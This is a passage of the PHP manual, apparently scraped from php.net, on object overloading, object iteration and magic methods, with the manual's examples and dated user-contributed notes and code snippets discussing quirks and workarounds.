print $a->getage() . "\n";
print $a->get_Age() . "\n";

# defined functions still override the __call
print $a->getWeight() . "\n";

# trying to get something that doesn't exist returns false
print $a->getNothing();

# this still gets error:
print $a->hotdog();

?>
richard dot quadling at bandvulc dot co dot uk 26-Nov-2004 02:54
<?php

abstract class BubbleMethod
    {
    public $objOwner;

    function __call($sMethod, $aParams)
        {
// Has the Owner been assigned?
        if (isset($this->objOwner))
            {
            return call_user_func_array(array($this->objOwner, $sMethod), $aParams);
            }
        else
            {
            echo 'Owner for ' . get_class($this) . ' not assigned.';
            }
        }
    }

class A_WebPageContainer
    {
    private $sName;

    public function __construct($sName)
        {
        $this->sName = $sName;
        }

    public function GetWebPageContainerName()
        {
        return $this->sName;
        }
    }

class A_WebFrame extends BubbleMethod
    {
    private $sName;

    public function __construct($sName)
        {
        $this->sName = $sName;
        }

    public function GetWebFrameName()
        {
        return $this->sName;
        }
    }

class A_WebDocument extends BubbleMethod
    {
    private $sName;

    public function __construct($sName)
        {
        $this->sName = $sName;
        }

    public function GetWebDocumentName()
        {
        return $this->sName;
        }
    }

class A_WebForm extends BubbleMethod
    {
    private $sName;

    public function __construct($sName)
        {
        $this->sName = $sName;
        }

    public function GetWebFormName()
        {
        return $this->sName;
        }
    }

class A_WebFormElement extends BubbleMethod
    {
    private $sName;

    public function __construct($sName)
        {
        $this->sName = $sName;
        }

    public function GetWebFormElementName()
        {
        return $this->sName;
        }
    }

$objWPC = new A_WebPageContainer('The outer web page container.');

$objWF1 = new A_WebFrame('Frame 1');
$objWF1->objOwner = $objWPC;

$objWF2 = new A_WebFrame('Frame 2');
$objWF2->objOwner = $objWPC;

$objWD1 = new A_WebDocument('Doc 1');
$objWD1->objOwner = $objWF1;

$objWD2 = new A_WebDocument('Doc 2');
$objWD2->objOwner = $objWF2;

$objWFrm1 = new A_WebForm('Form 1');
$objWFrm1->objOwner = $objWD1;

$objWFrm2 = new A_WebForm('Form 2');
$objWFrm2->objOwner = $objWD2;

$objWE1 = new A_WebFormElement('Element 1');
$objWE1->objOwner = $objWFrm1;

$objWE2 = new A_WebFormElement('Element 2');
$objWE2->objOwner = $objWFrm1;

$objWE3 = new A_WebFormElement('Element 3');
$objWE3->objOwner = $objWFrm2;

$objWE4 = new A_WebFormElement('Element 4');
$objWE4->objOwner = $objWFrm2;

echo "The name of the form that '" . $objWE1->GetWebFormElementName() . "' is in is '" . $objWE1->GetWebFormName() . "'<br />";
echo "The name of the document that '" . $objWE2->GetWebFormElementName() . "' is in is '" . $objWE2->GetWebDocumentName(). "'<br />";
echo "The name of the frame that '" . $objWE3->GetWebFormElementName() . "' is in is '" . $objWE3->GetWebFrameName(). "'<br />";
echo "The name of the page container that '" . $objWE4->GetWebFormElementName() . "' is in is '" .$objWE4->GetWebPageContainerName(). "'<br />";
?>

Results in.

The name of the form that 'Element 1' is in is 'Form 1'
The name of the document that 'Element 2' is in is 'Doc 1'
The name of the frame that 'Element 3' is in is 'Frame 2'
The name of the page container that 'Element 4' is in is 'The outer web page container.'

By using the abstract BubbleMethod class as the starting point for further classes that are contained inside others (i.e. elements on a form are contained in forms, which are contained in documents which are contained in frames which are contained in a super wonder global container), you can find properties of owner without knowing their direct name.

Some work needs to be done on what to do if no method exists though.
DevilDude at darkmaker dot com 23-Sep-2004 04:57
Php 5 has a simple recursion system that stops you from using overloading within an overloading function, this means you cannot get an overloaded variable within the __get method, or within any functions/methods called by the _get method, you can however call __get manualy within itself to do the same thing.


Object Iteration

PHP 5 provides a way for objects to be defined so it is possible to iterate through a list of items, with, for example a foreach statement. By default, all visible properties will be used for the iteration.

Example #1 Simple Object Iteration

<?php
class MyClass
{
    public $var1 = 'value 1';
    public $var2 = 'value 2';
    public $var3 = 'value 3';

    protected $protected = 'protected var';
    private   $private   = 'private var';

    function iterateVisible() {
       echo "MyClass::iterateVisible:\n";
       foreach($this as $key => $value) {
           print "$key => $value\n";
       }
    }
}

$class = new MyClass();

foreach($class as $key => $value) {
    print "$key => $value\n";
}
echo "\n";

$class->iterateVisible();

?>

The above example will output:

var1 => value 1
var2 => value 2
var3 => value 3

MyClass::iterateVisible:
var1 => value 1
var2 => value 2
var3 => value 3
protected => protected var
private => private var

As the output shows, the foreach iterated through all of the visible properties that could be accessed.

To take it a step further, the Iterator interface may be implemented. This allows the object to dictate how it will be iterated and what values will be available on each iteration.

Example #2 Object Iteration implementing Iterator

<?php
class MyIterator implements Iterator
{
    private $var = array();

    public function __construct($array)
    {
        if (is_array($array)) {
            $this->var = $array;
        }
    }

    public function rewind()
    {
        echo "rewinding\n";
        reset($this->var);
    }

    public function current()
    {
        $var = current($this->var);
        echo "current: $var\n";
        return $var;
    }

    public function key()
    {
        $var = key($this->var);
        echo "key: $var\n";
        return $var;
    }

    public function next()
    {
        $var = next($this->var);
        echo "next: $var\n";
        return $var;
    }

    public function valid()
    {
        $key = key($this->var);
        $var = ($key !== NULL && $key !== FALSE);
        echo "valid: $var\n";
        return $var;
    }

}

$values = array(1,2,3);
$it = new MyIterator($values);

foreach ($it as $a => $b) {
    print "$a: $b\n";
}
?>

The above example will output:

rewinding
valid: 1
current: 1
key: 0
0: 1
next: 2
valid: 1
current: 2
key: 1
1: 2
next: 3
valid: 1
current: 3
key: 2
2: 3
next:
valid:

The IteratorAggregate interface can be used as an alternative to implementing all of the Iterator methods. IteratorAggregate only requires the implementation of a single method, IteratorAggregate::getIterator(), which should return an instance of a class implementing Iterator.

Example #3 Object Iteration implementing IteratorAggregate

<?php
class MyCollection implements IteratorAggregate
{
    private $items = array();
    private $count = 0;

    // Required definition of interface IteratorAggregate
    public function getIterator() {
        return new MyIterator($this->items);
    }

    public function add($value) {
        $this->items[$this->count++] = $value;
    }
}

$coll = new MyCollection();
$coll->add('value 1');
$coll->add('value 2');
$coll->add('value 3');

foreach ($coll as $key => $val) {
    echo "key/value: [$key -> $val]\n\n";
}
?>

The above example will output:

rewinding
current: value 1
valid: 1
current: value 1
key: 0
key/value: [0 -> value 1]

next: value 2
current: value 2
valid: 1
current: value 2
key: 1
key/value: [1 -> value 2]

next: value 3
current: value 3
valid: 1
current: value 3
key: 2
key/value: [2 -> value 3]

next:
current:
valid:

Note:

For more examples of iterators, see the SPL Extension.

Note:

Users of PHP 5.5 and later may also want to investigate generators, which provide an alternative way of defining iterators.

User Contributed Notes

php dot net dot nsp at cvogt dot org 01-Jul-2012 07:25
there is still an open bug about using current() etc. with iterators
https://bugs.php.net/bug.php?id=49369
jille at hexon dot cx 15-May-2012 09:29
Please note that if you implement your iterator this way instead of with an IteratorAggregate you can not nest foreach-loops. This is because when the inner-loop is done the cursor is beyond the last element, then the outer-loop asks for the next element and finds the cursor beyond the last element as the innter-loop left it there.

<?php
 // Wont work!
foreach($collection as $a) {
  foreach($collection as $b) {
    var_dump($a->someFunc($b));
  }
}
?>
hlegius at gmail dot com 15-Oct-2008 02:06
Iterator interface usign key() next() rewind() is MORE slow than extends ArrayIterator with ArrayIterator::next(), ArrayIterator::rewind(), etc.,
wavetrex A(nospam)T gmail DOT com 01-Mar-2008 11:50
By reading the posts below I wondered if it really is impossible to make an ArrayAccess implementation really behave like a true array ( by being multi level )

Seems like it's not impossible. Not very preety but usable

<?php

class ArrayAccessImpl implements ArrayAccess {

  private $data = array();

  public function offsetUnset($index) {}

  public function offsetSet($index, $value) {
//    echo ("SET: ".$index."<br>");

    if(isset($data[$index])) {
        unset($data[$index]);
    }

    $u = &$this->data[$index];
    if(is_array($value)) {
        $u = new ArrayAccessImpl();
        foreach($value as $idx=>$e)
            $u[$idx]=$e;
    } else
        $u=$value;
  }

  public function offsetGet($index) {
//    echo ("GET: ".$index."<br>");

    if(!isset($this->data[$index]))
        $this->data[$index]=new ArrayAccessImpl();

    return $this->data[$index];
  }

  public function offsetExists($index) {
//    echo ("EXISTS: ".$index."<br>");

    if(isset($this->data[$index])) {
        if($this->data[$index] instanceof ArrayAccessImpl) {
            if(count($this->data[$index]->data)>0)
                return true;
            else
                return false;
        } else
            return true;
    } else
        return false;
  }

}

echo "ArrayAccess implementation that behaves like a multi-level array<hr />";

$data = new ArrayAccessImpl();

$data['string']="Just a simple string";
$data['number']=33;
$data['array']['another_string']="Alpha";
$data['array']['some_object']=new stdClass();
$data['array']['another_array']['x']['y']="LOL @ Whoever said it can't be done !";
$data['blank_array']=array();

echo "'array' Isset? "; print_r(isset($data['array'])); echo "<hr />";
echo "<pre>"; print_r($data['array']['non_existent']); echo "</pre>If attempting to read an offset that doesn't exist it returns a blank object! Use isset() to check if it exists!<br>";
echo "'non_existent' Isset? "; print_r(isset($data['array']['non_existent'])); echo "<br />";
echo "<pre>"; print_r($data['blank_array']); echo "</pre>A blank array unfortunately returns similar results :(<br />";
echo "'blank_array' Isset? "; print_r(isset($data['blank_array'])); echo "<hr />";
echo "<pre>"; print_r($data); echo "</pre> (non_existent remains in the structure. If someone can help to solve this I'll appreciate it)<hr />";

echo "Display some value that exists: ".$data['array']['another_string'];

?>

(in the two links mentioned below by artur at jedlinski... they say you can't use references, so I didn't used them.
My implementation uses recursive objects)

If anyone finds a better (cleaner) sollution, please e-mail me.
Thanks,
Wave.
doctorrock83_at_gmail.com 18-May-2007 12:10
Please remember that actually the only PHP iterating structure that uses Iterator is foreach().

Any each() or list() applied to an Object implementing iterator will not provide the expected result
artur at jedlinski dot pl 22-Apr-2007 09:38
One should be aware that ArrayAccess functionality described by "just_somedood at yahoo dot com" below is currently broken and thus it's pretty unusable.

Read following links to find more:
http://bugs.php.net/bug.php?id=34783
http://bugs.php.net/bug.php?id=32983
rune at zedeler dot dk 28-Feb-2007 05:00
The iterator template from knj at aider dot dk does not yield correct results.
If you do
<?
reset($a);
next($a);
echo current($a);
?>
where $a is defined over the suggested template, then the first element will be output, not the second, as expected.
baldurien at bbnwn dot eu 10-Aug-2006 03:01
Beware of how works iterator in PHP if you come from Java!

In Java, iterator works like this :
<?php
interface Iterator<O> {
  boolean hasNext();
  O next();
  void remove();
}
?>
But in php, the interface is this (I kept the generics and type because it's easier to understand)

<?php
interface Iterator<O> {
  boolean valid();
  mixed key();
  O current();
  void next();
  void previous();
  void rewind();
}
?>

1. valid() is more or less the equivalent of hasNext()
2. next() is not the equivalent of java next(). It returns nothing, while Java next() method return the next object, and move to next object in Collections. PHP's next() method will simply move forward.

Here is a sample with an array, first in java, then in php :

<?php
class ArrayIterator<O> implements Iterator<O> {
  private final O[] array;
  private int index = 0;

  public ArrayIterator(O[] array) {
     this.array = array;
  }

  public boolean hasNext() {
    return index < array.length;
  }

  public O next() {
     if ( !hasNext())
       throw new NoSuchElementException('at end of array');
     return array[index++];
  }

  public void remove() {
    throw new UnsupportedOperationException('remove() not supported in array');
  }
}
?>

And here is the same in php (using the appropriate function) :

<?php
/**
 * Since the array is not mutable, it should use an internal
 * index over the number of elements for the previous/next
 * validation.
 */
class ArrayIterator implements Iterator {
  private $array;
  public function __construct($array) {
    if ( !is_array($array))
      throw new IllegalArgumentException('argument 0 is not an array');
    $this->array = array;
    $this->rewind();
  }
  public function valid() {
    return current($this->array) !== false;
    // that's the bad method (should use arrays_keys, + index)
  }
  public function key() {
     return key($this->array);
  }
  public function current() {
    return current($this->array);
  }
  public function next() {
    if ( $this->valid())
      throw new NoSuchElementException('at end of array');
    next($this->array);
  }
  public function previous()  {
    // fails if current() = first item of array
    previous($this->array);
  }
  public function rewind() {
     reset($this->array);
  }
}
?>

The difference is notable : don't expect next() to return something like in Java, instead use current(). This also means that you have to prefetch your collection to set the current() object. For instance, if you try to make a Directory iterator (like the one provided by PECL), rewind should invoke next() to set the first element and so on. (and the constructor should call rewind())

Also, another difference :

<?php
class ArrayIterable<O> implements Iterable<O> {
  private final O[] array;

  public ArrayIterable(O[] array) {
     this.array = array;
  }

  public Iterator<O> iterator() {
     return new ArrayIterator(array);
  }
}
?>

When using an Iterable, in Java 1.5, you may do such loops :

<?php
for ( String s : new ArrayIterable<String>(new String[] {"a", "b"})) {
  ...
}
?>
Which is the same as :

<?php
Iterator<String> it = new ArrayIterable<String>(new String[] {"a", "b"});
while (it.hasNext()) {
  String s = it.next();
  ...
}
?>
While in PHP it's not the case :
<?php
foreach ( $iterator as $current ) {
  ...
}
?>
Is the same as :

<?php
for ( $iterator->rewind(); $iterator->valid(); $iterator->next()) {
  $current = $iterator->current();
  ...
}
?>

(I think we may also use IteratorAggregate to do it like with Iterable).

Take that in mind if you come from Java.

I hope this explanation is not too long...
chad 0x40 herballure 0x2e com 05-May-2006 03:46
The example code given for valid() will break if the array contains a FALSE value. This code prints out a single "bool(true)" and exits the loop when it gets to the FALSE:

<?php
$A = array(TRUE, FALSE, TRUE, TRUE);
while(current($A) !== FALSE) {
  var_dump(current($A));
  next($A);
}
?>

Instead, the key() function should be used, since it returns NULL only at the end of the array. This code displays all four elements and then exits:

<?php
$A = array(TRUE, FALSE, TRUE, TRUE);
while(!is_null(key($A))) {
  var_dump(current($A));
  next($A);
}
?>
markushe at web dot de 06-Aug-2005 08:05
Just something i noticed:
It seems, that when you are implementing the interface Iterator, yout method key() has to return a string or integer.

I was trying to return a object an got this error:
Illegal type returned from MyClass::key()
just_somedood at yahoo dot com 27-Jun-2005 09:20
To clarify on php at moechofe's post, you CAN use the SPL to overide the array operator for a class.  This, with the new features of object, and autoloading (among a buch of other things) has me completely sold on PHP5.  You can also find this information on the SPL portion of the manual, but I'll post it here as well so it isn't passed up.  The below Collection class will let you use the class as an array, while also using the foreach iterator:

<?php

class Collection implements ArrayAccess,IteratorAggregate
{
    public $objectArray = Array();
    //**these are the required iterator functions
    function offsetExists($offset)
    {
        if(isset($this->objectArray[$offset]))  return TRUE;
        else return FALSE;
    }

    function & offsetGet($offset)
    {
        if ($this->offsetExists($offset))  return $this->objectArray[$offset];
        else return (false);
    }

    function offsetSet($offset, $value)
    {
        if ($offset)  $this->objectArray[$offset] = $value;
        else  $this->objectArray[] = $value;
    }

    function offsetUnset($offset)
    {
        unset ($this->objectArray[$offset]);
    }

    function & getIterator()
    {
        return new ArrayIterator($this->objectArray);
    }
    //**end required iterator functions

    public function doSomething()
    {
        echo "I'm doing something";
    }
}

?>

I LOVE the new SPL stuff in PHP!  An example of usage is below:

<?php
class Contact
{
    protected $name = NULL;

    public function set_name($name)
    {
        $this->name = $name;
    }

    public function get_name()
    {
        return ($this->name);
    }
}

$bob = new Collection();
$bob->doSomething();
$bob[] = new Contact();
$bob[5] = new Contact();
$bob[0]->set_name("Superman");
$bob[5]->set_name("a name of a guy");

foreach ($bob as $aContact)
{
     echo $aContact->get_name() . "\r\n";
}
?>

Would work just fine.  This makes code so much simpler and easy to follow, it's great.  This is exactly the direction I had hoped PHP5 was going!
PrzemekG_ at poczta dot onet dot pl 27-May-2005 01:20
If you want to do someting like this:
<?php
foreach($MyObject as $key => &$value)
   $value = 'new '.$value;
?>
you must return values by reference in your iterator object:
<?php
class MyObject implements Iterator
{
/* ...... other iterator functions ...... */
/* return by reference */
public function &current()
{
   return $something;
}
?>

This won't change values:
<?php
foreach($MyObject as $key => $value)
   $value = 'new '.$value;
?>

This will change values:
<?php
foreach($MyObject as $key => &$value)
   $value = 'new '.$value;
?>

I think this should be written somewhere in the documentations, but I couldn't find it.
elias at need dot spam 11-Apr-2005 12:15
The MyIterator::valid() method above ist bad, because it
breaks on entries with 0 or empty strings, use key() instead:

<?php
public function valid()
{
    return ! is_null(key($this->var));
}
?>

read about current() drawbacks:
http://php.net/current
strrev('ed.relpmeur@ekneos'); 01-Mar-2005 11:25
Use the SPL ArrayAccess interface to call an object as array:

http://www.php.net/~helly/php/ext/spl/interfaceArrayAccess.html
phpnet at nicecupofteaandasitdown dot com 22-Feb-2005 05:09
You should be prepared for your iterator's current method to be called before its next method is ever called. This certainly happens in a foreach loop. If your means of finding the next item is expensive you might want to use something like this

private $item;

function next() {
    $this->item = &$this->getNextItem();
    return $this->item;
}

public function current() {
     if(!isset($this->item)) $this->next();
    return $this->item;
}
knj at aider dot dk 19-Dec-2004 04:19
if you in a string define classes that implements IteratorAggregate.
you cant use the default;
<?
...
public function getIterator() {
       return new MyIterator(\\$this-><What ever>);
}
..
?>
at least not if you want to use eval(<The string>).
You have to use:
<?
...
public function getIterator() {
      \\$arrayObj=new ArrayObject(\\$this-><What ever>);
      return \\$arrayObj->getIterator();
}
...
?>


Magic Methods

The function names
__construct(),
__destruct(),
__call(),
__callStatic(),
__get(),
__set(),
__isset(),
__unset(),
__sleep(),
__wakeup(),
__toString(),
__invoke(),
__set_state(),
__clone() and
__debugInfo()
are magical in PHP classes. You
cannot have functions with these names in any of your
classes unless you want the magic functionality associated
with them.

Caution

PHP reserves all function names starting with __ as magical. It is recommended that you do not use function names with __ in PHP unless you want some documented magic functionality.

__sleep() and __wakeup()

public array __sleep ( void )
void __wakeup ( void )

serialize() checks if your class has a function with the magic name __sleep(). If so, that function is executed prior to any serialization. It can clean up the object and is supposed to return an array with the names of all variables of that object that should be serialized. If the method doesn't return anything then NULL is serialized and E_NOTICE is issued.

Note:

It is not possible for __sleep() to return names of private properties in parent classes. Doing this will result in an E_NOTICE level error. Instead you may use the Serializable interface.

The intended use of __sleep() is to commit pending data or perform similar cleanup tasks. Also, the function is useful if you have very large objects which do not need to be saved completely.

Conversely, unserialize() checks for the presence of a function with the magic name __wakeup(). If present, this function can reconstruct any resources that the object may have.

The intended use of __wakeup() is to reestablish any database connections that may have been lost during serialization and perform other reinitialization tasks.

Example #1 Sleep and wakeup

<?php
class Connection
{
    protected $link;
    private $dsn, $username, $password;

    public function __construct($dsn, $username, $password)
    {
        $this->dsn = $dsn;
        $this->username = $username;
        $this->password = $password;
        $this->connect();
    }

    private function connect()
    {
        $this->link = new PDO($this->dsn, $this->username, $this->password);
    }

    public function __sleep()
    {
        return array('dsn', 'username', 'password');
    }

    public function __wakeup()
    {
        $this->connect();
    }
}?>

__toString()

public string __toString ( void )

The __toString() method allows a class to decide how it will react when it is treated like a string. For example, what echo $obj; will print. This method must return a string, as otherwise a fatal E_RECOVERABLE_ERROR level error is emitted.

Warning

You cannot throw an exception from within a __toString() method. Doing so will result in a fatal error.

Example #2 Simple example

<?php
// Declare a simple class
class TestClass
{
    public $foo;

    public function __construct($foo)
    {
        $this->foo = $foo;
    }

    public function __toString()
    {
        return $this->foo;
    }
}

$class = new TestClass('Hello');
echo $class;
?>

The above example will output:

Hello

It is worth noting that before PHP 5.2.0 the __toString() method was only called when it was directly combined with echo or print. Since PHP 5.2.0, it is called in any string context (e.g. in printf() with %s modifier) but not in other types contexts (e.g. with %d modifier). Since PHP 5.2.0, converting objects without __toString() method to string would cause E_RECOVERABLE_ERROR.

__invoke()

mixed __invoke ([ $... ] )

The __invoke() method is called when a script tries to call an object as a function.

Note:

This feature is available since PHP 5.3.0.

Example #3 Using __invoke()

<?php
class CallableClass
{
    public function __invoke($x)
    {
        var_dump($x);
    }
}
$obj = new CallableClass;
$obj(5);
var_dump(is_callable($obj));
?>

The above example will output:

int(5)
bool(true)

__set_state()

static object __set_state ( array $properties )

This static method is called for classes exported by var_export() since PHP 5.1.0.

The only parameter of this method is an array containing exported properties in the form array('property' => value, ...).

Example #4 Using __set_state() (since PHP 5.1.0)

<?php

class A
{
    public $var1;
    public $var2;

    public static function __set_state($an_array) // As of PHP 5.1.0
    {
        $obj = new A;
        $obj->var1 = $an_array['var1'];
        $obj->var2 = $an_array['var2'];
        return $obj;
    }
}

$a = new A;
$a->var1 = 5;
$a->var2 = 'foo';

eval('$b = ' . var_export($a, true) . ';'); // $b = A::__set_state(array(
                                            //    'var1' => 5,
                                            //    'var2' => 'foo',
                                            // ));
var_dump($b);

?>

The above example will output:

object(A)#2 (2) {
  ["var1"]=>
  int(5)
  ["var2"]=>
  string(3) "foo"
}

__debugInfo()

array __debugInfo ( void )

This method is called by var_dump() when dumping an object to get the properties that should be shown. If the method isn't defined on an object, then all public, protected and private properties will be shown.

This feature was added in PHP 5.6.0.

Example #5 Using __debugInfo()

<?php
class C {
    private $prop;

    public function __construct($val) {
        $this->prop = $val;
    }

    public function __debugInfo() {
        return [
            'propSquared' => $this->prop ** 2,
        ];
    }
}

var_dump(new C(42));
?>

The above example will output:

object(C)#1 (1) {
  ["propSquared"]=>
  int(1764)
}

User Contributed Notes

danillo dot paiva dot toledo at gmail dot com 17-May-2013 04:39
While I was studying Ruby I saw as such interesting things as properties created + its getters and setters in just one line.

I tryied to do the same in PHP and this is the code I have

class Father {
    public function __call($name, $args) {
        if(isset($this->$name)) {
            if(isset($args[0]))
                return $this->$name = $args[0];
            return $this->$name;
        }
        return false;
    }
}

class Child extends Father {
    public $country = "Brazil";
    public $state = "Sao Paulo";
}

Sometimes we don't need things like that on all classes but is quite interesting.
staff at pro-unreal dot de 16-May-2013 03:08
To avoid instanciating the parent instead of the inherited class for __set_state() as reported by jsnell, you could use late static binding introduced in PHP 5.3:

<?php
class A {
    public static function __set_state($data) {
        return new static();
    }
}

class B extends A {
}

$instance = new B();
eval('$test = ' . var_export($instance, true) . ';');
var_dump($test);
// -> object(B)#2 (0) {
// }
?>
igorbt 19-Apr-2013 05:30
In recent versions of PHP, if you define __toString with arguments it will trigger a Fatal error: "__tostring() cannot take arguments". But, if you really need this (like I needed, because my framework heavily used these arguments), you have a workaround:
<?php
class a
{
    public function __toString() {
        list($a) = func_get_args();
        return $a;
    }
}

$a = new a();
echo $a->__toString('PHP'); // PHP
?>
qfox at ya dot ru 06-Sep-2012 09:12
For those of you who have the same trouble as osbertv.
<?php
// ...

$a = new A();
$b = new B();
$a();
$b();
$b->a();

?>

PHP Fatal error:  Call to undefined method B::a()

It's because PHP have bug in parsing syntax (a lot of).
Just make it easier to parse and it would work.
For example, like this:
<?php
$c = $b->a;
$c();
?>

Or this, if you use 5.4 (if you using 5.3 just move call function to the each class which need it or to some base abstract class):
<?php
trait TInnerClosuresInvoker {
  function __call($method, $args) {
    if (isset($this->$method) && is_callable($method)) {
      $closure = $this->$method;
      call_user_func_array($closure, $args);
    } else {
      trigger_error('Call to undefined method '.__CLASS__.'::'.$method.'()', E_USER_ERROR);
    }
  }
}
class A {
  use TInnerClosuresInvoker;
  ...
}
?>

It's a little bit dirty, but it works.
Voitcus at wp dot pl 16-Feb-2012 06:48
You don't need to serialize the class default values, only those which have changed. It might be important for large objects. Note the example below, for simplicity, always serializes arrays and objects.

<?php
class MyBaseClass {
  public $name='object'; // these are default class values
  public $test=1;
  public $test2; // equals to NULL in fact

  public function __construct(){
    $this->test2='some text';  // this is not a default value, although called in the constructor
  }

  public function __sleep(){
    // default class values:
    $defaults=get_class_vars(get_class($this)); // not __CLASS__ or self::, if you'd like to use in descendant classes
    // values of $this object:
    $present=get_object_vars($this);
    $result=array(); // output array
    foreach($present as $key=>$value){
      if(!is_resource($defaults[$key]) && ( // don't store resources
        is_object($defaults[$key]) ||    // always store objects
        is_array($defaults[$key])  ||    // and arrays
          $defaults[$key]!==$value) // and of course all that is not the default value
        ) // tip: try is_scalar as well
      $result[]=$key;
      }
      return $result;
  }
}

$obj1=new MyBaseClass();
echo ($s1=serialize($obj1))."<br>"; // only test2 is stored, as it was changed in the constructor

$obj2=new MyBaseClass();
$obj2->name='object 2'; // change default value here
echo ($s2=serialize($obj2))."<br>"; // stored name and test2

$obj3=new MyBaseClass();
$obj3->test2=NULL; // switch back to default value
echo ($s3=serialize($obj3))."<br>"; // nothing is stored but the class name

// let us check if we can retrieve the objects
unset($obj1, $obj2, $obj3);
$obj1=unserialize($s1);
$obj2=unserialize($s2);
$obj3=unserialize($s3);
var_dump($obj1);
var_dump($obj2);
var_dump($obj3);
?>
daan dot broekhof at gmail dot com 14-Feb-2012 07:54
Ever wondered why you can't throw exceptions from __toString()? Yeah me too.

Well now you can! This trick allows you to throw any type of exception from within a __toString(), with a full & correct backtrace.

How does it work? Well PHP __toString() handling is not as strict in every case: throwing an Exception from __toString() triggers a fatal E_ERROR, but returning a non-string value from a __toString() triggers a non-fatal E_RECOVERABLE_ERROR.
Add a little bookkeeping, and can circumvented this PHP deficiency!
(tested to work PHP 5.3+)

<?php

set_error_handler(array('My_ToStringFixer', 'errorHandler'));
error_reporting(E_ALL | E_STRICT);

class My_ToStringFixer
{
    protected static $_toStringException;

    public static function errorHandler($errorNumber, $errorMessage, $errorFile, $errorLine)
    {
        if (isset(self::$_toStringException))
        {
            $exception = self::$_toStringException;
            // Always unset '_toStringException', we don't want a straggler to be found later if something came between the setting and the error
            self::$_toStringException = null;
            if (preg_match('~^Method .*::__toString\(\) must return a string value$~', $errorMessage))
                throw $exception;
        }
        return false;
    }

    public static function throwToStringException($exception)
    {
        // Should not occur with prescribed usage, but in case of recursion: clean out exception, return a valid string, and weep
        if (isset(self::$_toStringException))
        {
            self::$_toStringException = null;
            return '';
        }

        self::$_toStringException = $exception;

        return null;
    }
}

class My_Class
{
    public function doComplexStuff()
    {
        throw new Exception('Oh noes!');
    }

    public function __toString()
    {
        try
        {
            // do your complex thing which might trigger an exception
            return $this->doComplexStuff();
        }
        catch (Exception $e)
        {
            // The 'return' is required to trigger the trick
            return My_ToStringFixer::throwToStringException($e);
        }
    }
}

$x = new My_Class();

try
{
    echo $x;
}
catch (Exception $e)
{
    echo 'Caught Exception! : '. $e;
}
?>
osbertv at yahoo dot com 30-Dec-2011 06:42
Invoking a class inside a class results in an error.

<?php
class A
{
    public function __invoke()
    {
        echo "Invoking A() Class";
    }
}

class B
{
    public $a;

    public function __construct()
    {
        $this->a = new A();
    }

    public function __invoke()
    {
        echo "Invoking B() Class";
    }
}

$a = new A();
$b = new B();
$a();
$b();
$b->a();

?>

returns
Invoking B() Class
PHP Fatal error:  Call to undefined method B::a()
hyponiq at gmail dot com 27-Sep-2011 03:07
I think it's fair to note the undocumented fact that the __invoke magic method can take any number of arguments (or none).

Example:
<?php
class InvokeNoParams {
    function __invoke()
    {
        print __METHOD__ . PHP_EOL;
        $i = 1;
        foreach (func_get_args() as $arg) {
            print "The value of \$param{$i} is: " . $arg . PHP_EOL;
            ++$i;
        }
        print PHP_EOL;
    }
}

class InvokeSingleParam {
    function __invoke($param1)
    {
        print __METHOD__ . PHP_EOL;
        print "Value of \$param1 is: " . $param1 . PHP_EOL . PHP_EOL;
    }
}

class InvokeMultiParams {
    function __invoke($param1, $param2, $param3) {
        print __METHOD__ . PHP_EOL;
        print "Value of \$param1 is: " . $param1 . PHP_EOL;
        print "Value of \$param2 is: " . $param2 . PHP_EOL;
        print "Value of \$param3 is: " . $param3 . PHP_EOL . PHP_EOL;
    }
}

$no = new InvokeNoParams;
$single = new InvokeSingleParam;
$multi = new InvokeMultiParams;

$no(1, 2, 3);
$single('one param');
$multi('param 1', 'param 2', 'param 3');
?>

This outputs:
InvokeNoParams::__invoke
The value of $param1 is: 1
The value of $param2 is: 2
The value of $param3 is: 3

InvokeSingleParam::__invoke
Value of $param1 is: one param

InvokeMultiParams::__invoke
Value of $param1 is: param 1
Value of $param2 is: param 2
Value of $param3 is: param 3
Wesley 25-May-2011 09:10
Warning __toString can be triggerd more then one time

<?php
if(strstr(substr($obj,0,1024), 'somestuff')
    echo $obj;
return 'missing somestuff at the start, create container!';

substr() will trigger a __toString aswell as echo $obj;
?>

wich cause a performance issue since it will gather all data twice.

what i used as a hotfix:

<?php
__toString(){
  if(null === $this->sToString)
     $this->sToString = $this->_show();
  return $this->sToString;
}
?>
Anonymous 25-Jul-2010 04:41
Concerning __set() with protected/private/overloaded properties, the behavior might not be so intuitive without knowing some underlying rules.  Consider this test object for the following examples...

<?php
class A {
    protected $test_int = 2;
    protected $test_array = array('key' => 'test');
    protected $test_obj;

    function __construct() {
        $this->test_obj = new stdClass();
        }

    function __get($prop) {
        return $this->$prop;
        }

    function __set($prop, $val) {
        $this->$prop = $val;
        }
    }

$a = new A();

?>

Combined Operators (.=, +=, *=, etc): you must also define a companion __get() method to grant write -and- read access to the property.  Remember, "$x += $y" is shorthand for "$x = $x + $y".  In other words, "__set($x, (__get($x) + $y))".

Properties that are Arrays: attempting to set array values like "$a->test_array[] = 'asdf';" from outside this object will result in an "Indirect modification of overloaded property" notice and the operation completely ignored.  You can't use '[]' for array value assignment in this context (with the exception only if you made __get() return by reference, in which case, it would work fine and bypass the __set() method altogether).  You can work around this doing something like unioning the array instead:

<?php

$a->test_array[] = 'asdf'; // notice given and ignored unless __get() was declared to return by reference
$a->test_array += array(1 => 'asdf'); // to add a key/value
$a->test_array = array("key" => 'asdf') + $a->test_array; // to overwrite a  key/value.

?>

Properties that are Objects: as long as you have that __get() method, you can freely access and alter that sub object's own properties, bypassing __set() entirely.  Remember, objects are assigned and passed by reference naturally.

<?php

$a->test_obj->prop = 1; // fine if $a did not have a set method declared.

?>

All above tested in 5.3.2.
tom 19-Jul-2010 12:20
Note a common pitfall when using __wakeup.

If you unserialize a datastructure, you may not rely on the parent object to have been fully unserialized by the time __wakeup is called. Example

<?php
class A {
 public $b;
 public $name;
}

class B extends A {
 public $parent;
 public function __wakeup() {
  var_dump($parent->name);
 }
}

$a = new A();
$a->name = "foo";
$a->b = new B();
$a->b->parent = $a;
$s = serialize($a);
$a = unserialize($s);
?>

Expected output: "foo".
Actual output: NULL.

Reason: $b is unserialized before $name. By the time B::__wakeup is called, $a->name does not yet have a value.

So be aware that the order in which your class variables are defined is important! You need to manually order them by dependencies - or write a __sleep function and order them by depencies there. (Currently I can't tell which option I hate more)
Anonymous 01-Jul-2010 06:29
C++-style operator overloading finally makes an appearance with the introduction to __invoke().  Unfortunately, with just '()'.  In that sense, it is no more useful than having a default class method (probably quite useful actually) and not having to type out an entire method name.  Complimenting wbcarts at juno dot com's point class below, the following allows calculating distance between one or more graph points...

<?php

class point {
    public $x;
    public $y;

    function __construct($x=0, $y=0) {
        $this->x = (int) $x;
